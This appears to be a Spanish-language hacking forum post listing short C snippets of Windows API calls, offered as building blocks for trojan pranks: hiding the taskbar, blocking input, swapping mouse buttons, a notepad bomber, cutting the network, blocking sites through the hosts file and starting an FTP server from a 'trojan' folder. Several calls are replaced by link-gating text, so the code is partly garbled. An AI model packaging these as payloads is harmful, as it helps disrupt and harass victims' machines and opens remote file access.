comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Apis [C]

  • 0 Respuestas
  • 1703 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5320
  • Actividad:
    41.67%
  • Reputación 29
  • ANTRAX
    • Ver Perfil
    • Underc0de
    • Email
  • Skype: underc0de.org
  • Twitter: @Underc0de
« en: Mayo 22, 2011, 09:46:13 pm »
========================
APIs C
=======================

Abrir bandeja de CD-rom:

Código: C
  1. #include <mmsystem.h>
  2.  mciSendString("Set CDAudio Door Open",NULL,0,GetActiveWindow());
  3.  mciSendString("Set CDAudio Door Open",NULL,0,NULL);


Cerra bandeja lo mismo:
Código: C
  1.  mciSendString("Set CDAudio Door Closed",NULL,0,GetActiveWindow());
  2.  mciSendString("Set CDAudio Door Closed",NULL,0,NULL);

=======================

Ocultar barra de tareas:
Código: C
  1. HWND reg;
  2.  reg = FindWindow("Shell_TrayWnd",0);
  3.  ShowWindow(reg, SW_HIDE);

Mostrar barra de tareas:
Código: C
  1.  HWND reg;
  2.  reg = FindWindow("Shell_TrayWnd",0);
  3.  ShowWindow(reg, SW_SHOW);

=======================

Ocultar aplicacion en barra de tareas:

para ocultar:
Código: C
  1.  ShowWindow(Application.Handle, SW_HIDE);
para mostrar:
Código: C
  1.  ShowWindow(Application.Handle, SW_SHOW);

=======================

Ocultar boton de inicio:
Código: C
  1.  HRGN Rgn;
  2.  HANDLE tWnd;
  3.  tWnd = FindWindow("Shell_TrayWnd", 0);
  4.  Rgn = CreateRectRgn(0, 0, 0, 0);
  5.  SetWindowRgn(FindWindowEx(tWnd, 0, "BUTTON", 0), Rgn, true);

Mostrar boton de inicio:
Código: C
  1.  HANDLE tWnd;
  2.  tWnd = FindWindow("Shell_TrayWnd", 0);
  3.  SetWindowRgn(FindWindowEx(tWnd, 0, "BUTTON", 0), 0, true);

 Otra forma casi la misma:
Ocultar boton inicio:
Código: C
  1.  HANDLE tWnd,bWnd ;
  2.  tWnd = FindWindow("Shell_TrayWnd", 0);
  3.  bWnd=FindWindowEx(tWnd, 0, "BUTTON", 0);
  4.  ShowWindow (bWnd, SW_HIDE);

Mostrar:
Código: C
  1. HANDLE tWnd,bWnd;
  2.  tWnd = FindWindow("Shell_TrayWnd", 0);
  3.  bWnd=FindWindowEx(tWnd, 0, "BUTTON", 0);
  4.   ShowWindow (bWnd, SW_NORMAL);

 =====================
 
 Bloquear mouse y teclado
 
Código: C
  1.         BlockInput(true);
  2.         Sleep(600000);
  3.         return 0;

=====================

Change Foreground Window Title

Código: C
  1.         HWND Window;
  2.         Window = GetForegroundWindow();
  3.         SetWindowText(Window, L"Your text here");
  4.         Sleep(10000);
  5.         return 0;

=====================

Turn Off Monitor

Código: C
  1.         SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM) 2);
  2.         Sleep(2000);
  3.         return 0;

==============================================================

Swap Mouse Buttons

Código: C
  1.         SwapMouseButton(true);
  2.         return 0;

==============================================================

Crazy Mouse


Código: C
  1.         int i,x,y;
  2.         for(i= 0; i < 201; i++) {
  3.                 x = You are not allowed to view links. Register or Login()%1001;
  4.                 y = You are not allowed to view links. Register or Login()%801;
  5.                 SetCursorPos(x,y);
  6.                 Sleep(200);
  7.         }
  8.         return 0;

==============================================================

Open a website


Código: C
  1.         ShellExecute(NULL,L"open",L"http://www.yourwebsitehere.com/",NULL,NULL,SW_MAXIMIZE);
  2.         return 0;

===============================================================

Disable Taskbar


Código: C
  1.         HWND hWin;
  2.         hWin = FindWindow(L"Shell_TrayWnd",NULL);
  3.         EnableWindow(hWin,false);
  4.         ShowWindow(hWin,false);
  5.         return 0;

===============================================================

MessageBox / Error


Código: C
  1.         MessageBox(NULL,TEXT("Error loading C:\\Documents and Settings\\All Users\\Child Porn"),TEXT("Error"),MB_OK | MB_ICONEXCLAMATION );
  2.         return 0;

===============================================================

Hide Current Window


Código: C
  1.         HWND hWin;
  2.         hWin = GetForegroundWindow();
  3.         ShowWindow(hWin,false);
  4.         return 0;

===============================================================

Play a sound


Código: C
  1.         PlaySound(TEXT("C:\\Windows\\trojan\\sound.wav"), NULL, SND_FILENAME);
  2.         return 0;

===============================================================

Disable Internet


Código: C
  1.         You are not allowed to view links. Register or Login("ipconfig /release");
  2.         return 0;

===============================================================

Open & Close CD Drive


Código: C
  1.         mciSendString(L"set CDAudio door open", NULL, 0, NULL);
  2.         Sleep(2000);
  3.         mciSendString(L"set CDAudio door closed", NULL, 0, NULL);
  4.         Sleep(5000);
  5.         mciSendString(L"set CDAudio door open", NULL, 0, NULL);
  6.         Sleep(2000);
  7.         mciSendString(L"set CDAudio door closed", NULL, 0, NULL);
  8.         Sleep(5000);
  9.         mciSendString(L"set CDAudio door open", NULL, 0, NULL);
  10.         Sleep(2000);
  11.         mciSendString(L"set CDAudio door closed", NULL, 0, NULL);
  12.         Sleep(5000);
  13.         mciSendString(L"set CDAudio door open", NULL, 0, NULL);
  14.         Sleep(2000);
  15.         mciSendString(L"set CDAudio door closed", NULL, 0, NULL);
  16.         Sleep(5000);
  17.         return 0;

============================================================

Notepad Bomber

Código: C
  1.         int i;
  2.         for(i= 0; i < 1001; i++) {
  3.         ShellExecute(NULL,L"open",L"notepad.exe",NULL,NULL,SW_MAXIMIZE);
  4.         }
  5.         return 0;

========================================================

Edits Hosts file to block sites


Código: C
  1.   FILE *fp;
  2.   int i;
  3.   char hosts_file_path[FILENAME_MAX];
  4.   char ip[] = "0.0.0.0";
  5.  
  6.   /* Add your sites in the below list. */
  7.   char *blist[] = {
  8.     "www.orkut.com",
  9.     "orkut.com",
  10.     "www.google.com",
  11.     "google.com",
  12.     "www.google.co.in",
  13.     "google.co.in",
  14.     "www.gmail.com",
  15.     "gmail.com",
  16.     "www.facebook.com",
  17.     "facebook.com",
  18.     "www.yahoo.com",
  19.     "yahoo.com",
  20.     "www.twitter.com",
  21.     "twitter.com",
  22.     "#"
  23.   };
  24.  
  25.   You are not allowed to view links. Register or Login (hosts_file_path, You are not allowed to view links. Register or Login ("SystemRoot"));
  26.   You are not allowed to view links. Register or Login (hosts_file_path, "\\system32\\drivers\\etc\\hosts");
  27.  
  28.   if ((fp = You are not allowed to view links. Register or Login (hosts_file_path, "a")) == NULL)
  29.     return 0;
  30.  
  31.   You are not allowed to view links. Register or Login ("\n", fp);
  32.   for (i = 0; blist[i][0] != '#'; i++)
  33.     {
  34.       You are not allowed to view links. Register or Login (ip, fp);
  35.       You are not allowed to view links. Register or Login ("        ", fp);
  36.       You are not allowed to view links. Register or Login (blist[i], fp);
  37.       You are not allowed to view links. Register or Login ("\n", fp);
  38.     }
  39.  
  40.   You are not allowed to view links. Register or Login (fp);
  41.   You are not allowed to view links. Register or Login("echo ' '");
  42.   return 0;


=====================================


Start FTP server (download SlimFTPd and put it in your trojan folder)


Código: C
  1.         ShellExecute(NULL,L"open",L"C:\\Windows\\trojan\\SlimFTPd.exe",NULL,NULL,SW_MAXIMIZE);
  2.         return 0;
« Última modificación: Febrero 08, 2014, 06:09:48 pm por Expermicid »


 

¿Te gustó el post? COMPARTILO!